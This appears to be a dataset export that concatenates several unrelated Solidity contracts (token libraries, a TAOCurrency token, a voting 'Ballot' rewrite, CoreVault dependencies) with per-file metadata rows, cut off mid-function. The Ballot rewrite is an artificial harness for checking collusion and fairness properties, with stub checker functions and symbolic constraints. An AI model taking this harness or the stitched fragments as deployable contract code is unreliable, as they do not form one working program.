return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract EthosYotta is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {
powerOfTen = 24;
decimals = 24;
}
}
| 277,575 | 13,160 |
86fafecd4ef22ad076cb960dbebca74cf9b2ec19728e6f408ca79069c3920810
| 13,601 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/experiment/voting-0-1/collusion/Ballot.sol
| 3,648 | 13,506 |
pragma solidity >=0.4.22 <0.7.0;
// /// @title Voting with delegation.
// contract Ballot {
// // This declares a new complex type which will
// // be used for variables later.
// // It will represent a single voter.
// struct Voter {
// uint weight; // weight is accumulated by delegation
// bool voted; // if true, that person already voted
// address delegate; // person delegated to
// uint vote; // index of the voted proposal
// }
// // This is a type for a single proposal.
// struct Proposal {
// bytes32 name; // short name (up to 32 bytes)
// uint voteCount; // number of accumulated votes
// }
// address public chairperson;
// // This declares a state variable that
// // stores a `Voter` struct for each possible address.
// mapping(address => Voter) public voters;
// // A dynamically-sized array of `Proposal` structs.
// Proposal[] public proposals;
// /// Create a new ballot to choose one of `proposalNames`.
// constructor(bytes32[] memory proposalNames) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
// // For each of the provided proposal names,
// // create a new proposal object and add it
// // to the end of the array.
// for (uint i = 0; i < proposalNames.length; i++) {
// // `Proposal({...})` creates a temporary
// // Proposal object and `proposals.push(...)`
// // appends it to the end of `proposals`.
// proposals.push(Proposal({
// name: proposalNames[i],
// voteCount: 0
// }));
// }
// }
// // Give `voter` the right to vote on this ballot.
// // May only be called by `chairperson`.
// function giveRightToVote(address voter) public {
// // If the first argument of `require` evaluates
// // to `false`, execution terminates and all
// // changes to the state and to Ether balances
// // are reverted.
// // This used to consume all gas in old EVM versions, but
// // not anymore.
// // It is often a good idea to use `require` to check if
// // functions are called correctly.
// // As a second argument, you can also provide an
// // explanation about what went wrong.
// require(// msg.sender == chairperson,
// "Only chairperson can give right to vote."
//);
// require(// !voters[voter].voted,
// "The voter already voted."
//);
// require(voters[voter].weight == 0);
// voters[voter].weight = 1;
// }
// /// Delegate your vote to the voter `to`.
// function delegate(address to) public {
// // assigns reference
// Voter storage sender = voters[msg.sender];
// require(!sender.voted, "You already voted.");
// require(to != msg.sender, "Self-delegation is disallowed.");
// // Forward the delegation as long as
// // `to` also delegated.
// // In general, such loops are very dangerous,
// // because if they run too long, they might
// // need more gas than is available in a block.
// // In this case, the delegation will not be executed,
// // but in other situations, such loops might
// // cause a contract to get "stuck" completely.
// while (voters[to].delegate != address(0)) {
// to = voters[to].delegate;
// // We found a loop in the delegation, not allowed.
// require(to != msg.sender, "Found loop in delegation.");
// }
// // Since `sender` is a reference, this
// // modifies `voters[msg.sender].voted`
// sender.voted = true;
// sender.delegate = to;
// Voter storage delegate_ = voters[to];
// if (delegate_.voted) {
// // If the delegate already voted,
// // directly add to the number of votes
// proposals[delegate_.vote].voteCount += sender.weight;
// } else {
// // If the delegate did not vote yet,
// // add to her weight.
// delegate_.weight += sender.weight;
// }
// }
// /// Give your vote (including votes delegated to you)
// /// to proposal `proposals[proposal].name`.
// function vote(uint proposal) public {
// Voter storage sender = voters[msg.sender];
// require(sender.weight != 0, "Has no right to vote");
// require(!sender.voted, "Already voted.");
// sender.voted = true;
// sender.vote = proposal;
// // If `proposal` is out of the range of the array,
// // this will throw automatically and revert all
// // changes.
// proposals[proposal].voteCount += sender.weight;
// }
// /// @dev Computes the winning proposal taking all
// /// previous votes into account.
// function winningProposal() public view
// returns (uint winningProposal_)
// {
// uint winningVoteCount = 0;
// for (uint p = 0; p < proposals.length; p++) {
// if (proposals[p].voteCount > winningVoteCount) {
// winningVoteCount = proposals[p].voteCount;
// winningProposal_ = p;
// }
// }
// }
// // Calls winningProposal() function to get the index
// // of the winner contained in the proposals array and then
// // returns the name of the winner
// function winnerName() public view
// returns (bytes32 winnerName_)
// {
// winnerName_ = proposals[winningProposal()].name;
// }
// }
contract Rewrite{
// This declares a new complex type which will
// be used for variables later.
// It will represent a single voter.
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
// This is a type for a single proposal.
struct Proposal {
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
// This declares a state variable that
// stores a `Voter` struct for each possible address.
mapping(address => Voter) public voters;
// A dynamically-sized array of `Proposal` structs.
Proposal[] public proposals;
function newProposal(uint numOfProposal) public {
proposals.length = numOfProposal;
}
function vote(address msg_sender, uint proposal) public {
// Voter storage sender = voters[msg_sender];
require(voters[msg_sender].weight != 0);
require(voters[msg_sender].voted == false);
voters[msg_sender].voted = true;
voters[msg_sender].vote = proposal;
// If `proposal` is out of the range of the array,
// this will throw automatically and revert all
// changes.
proposals[proposal].voteCount = proposals[proposal].voteCount + voters[msg_sender].weight;
}
function winningProposal() public view
returns (uint winningProposal_)
{
uint winningVoteCount = 0;
for (uint p = 0; p < proposals.length; p++) {
if (proposals[p].voteCount > winningVoteCount) {
winningVoteCount = proposals[p].voteCount;
winningProposal_ = p;
}
}
return winningProposal_;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
function sse_collusion_violate_check(uint u12, bool v1, bool v_1, bool v2, bool v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, bool p1, uint p1_value, uint p1_rv_value, bool msg_value1,
address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
address payable msg_sender5, bool p5, uint p5_value, uint p5_rv_value, bool msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value==1&&p1_value > p1_rv_value && p1_rv_value ==0);
require(p2_value==1&&p2_value > p2_rv_value && p2_rv_value ==0);
require(p3_value==1&&p3_value > p3_rv_value && p3_rv_value ==0);
require(p4_value==1&&p4_value > p4_rv_value && p4_rv_value ==0);
require(p5_value==1&&p5_value > p5_rv_value && p5_rv_value ==0);
uint winner;
require(winner==100);
require(voters[msg_sender1].weight == 1);
require(voters[msg_sender2].weight == 1);
require(voters[msg_sender3].weight == 1);
require(voters[msg_sender4].weight == 1);
require(voters[msg_sender5].weight == 1);
require(voters[msg_sender1].voted == false);
require(voters[msg_sender2].voted == false);
require(voters[msg_sender3].voted == false);
require(voters[msg_sender4].voted == false);
require(voters[msg_sender5].voted == false);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
// require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
if (msg_value1==false)
vote(msg_sender1, 0);
else
vote(msg_sender1, 1);
if (msg_value2==false)
vote(msg_sender2, 0);
else
vote(msg_sender2, 1);
if (msg_value3==false)
vote(msg_sender3, 0);
else
vote(msg_sender3, 1);
if (msg_value4==false)
vote(msg_sender4, 0);
else
vote(msg_sender4, 1);
if (msg_value5==false)
vote(msg_sender5, 0);
else
vote(msg_sender5, 1);
//execute Proposal
winner = winningProposal();
if ((winner==1) == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if ((winner==1) == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if ((winner==1) == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if ((winner==1) == msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if ((winner==1) == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_collusion_violate_check(utilities[msg_sender1],msg_value1, p1,msg_value2, p2);
}
}
| 242,335 | 13,161 |
a8804521bb5dc4c0d3d630bc82e13bd36e900d61ac8014271b8679e4abf3b5b3
| 30,839 |
.sol
|
Solidity
| false |
408785821
|
cVault-finance/cLend
|
ce4476dc09bcc013db923d8b9bd132c438b55d7d
|
contracts/core/CoreVaultDeps.sol
| 3,768 | 14,689 |
// SPDX-License-Identifier: UNLICENSED
// Sources flattened with hardhat v2.8.2 https://hardhat.org
// File @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/[email protected]
pragma solidity ^0.6.0;
interface CoreIERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(CoreIERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(CoreIERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(CoreIERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(CoreIERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(CoreIERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(CoreIERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface INBUNIERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Log(string log);
}
| 167,572 | 13,162 |
f2c674667e6c25066f4710d32b3a4ffd056ba808124fb94c5797f2a35de2c6c7
| 24,825 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/04/04447da98b15898377a86eea73fd058d9f41d686_Masonry.sol
| 4,396 | 16,247 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring "a" not being zero, but the
// benefit is lost if "b" is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn"t hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
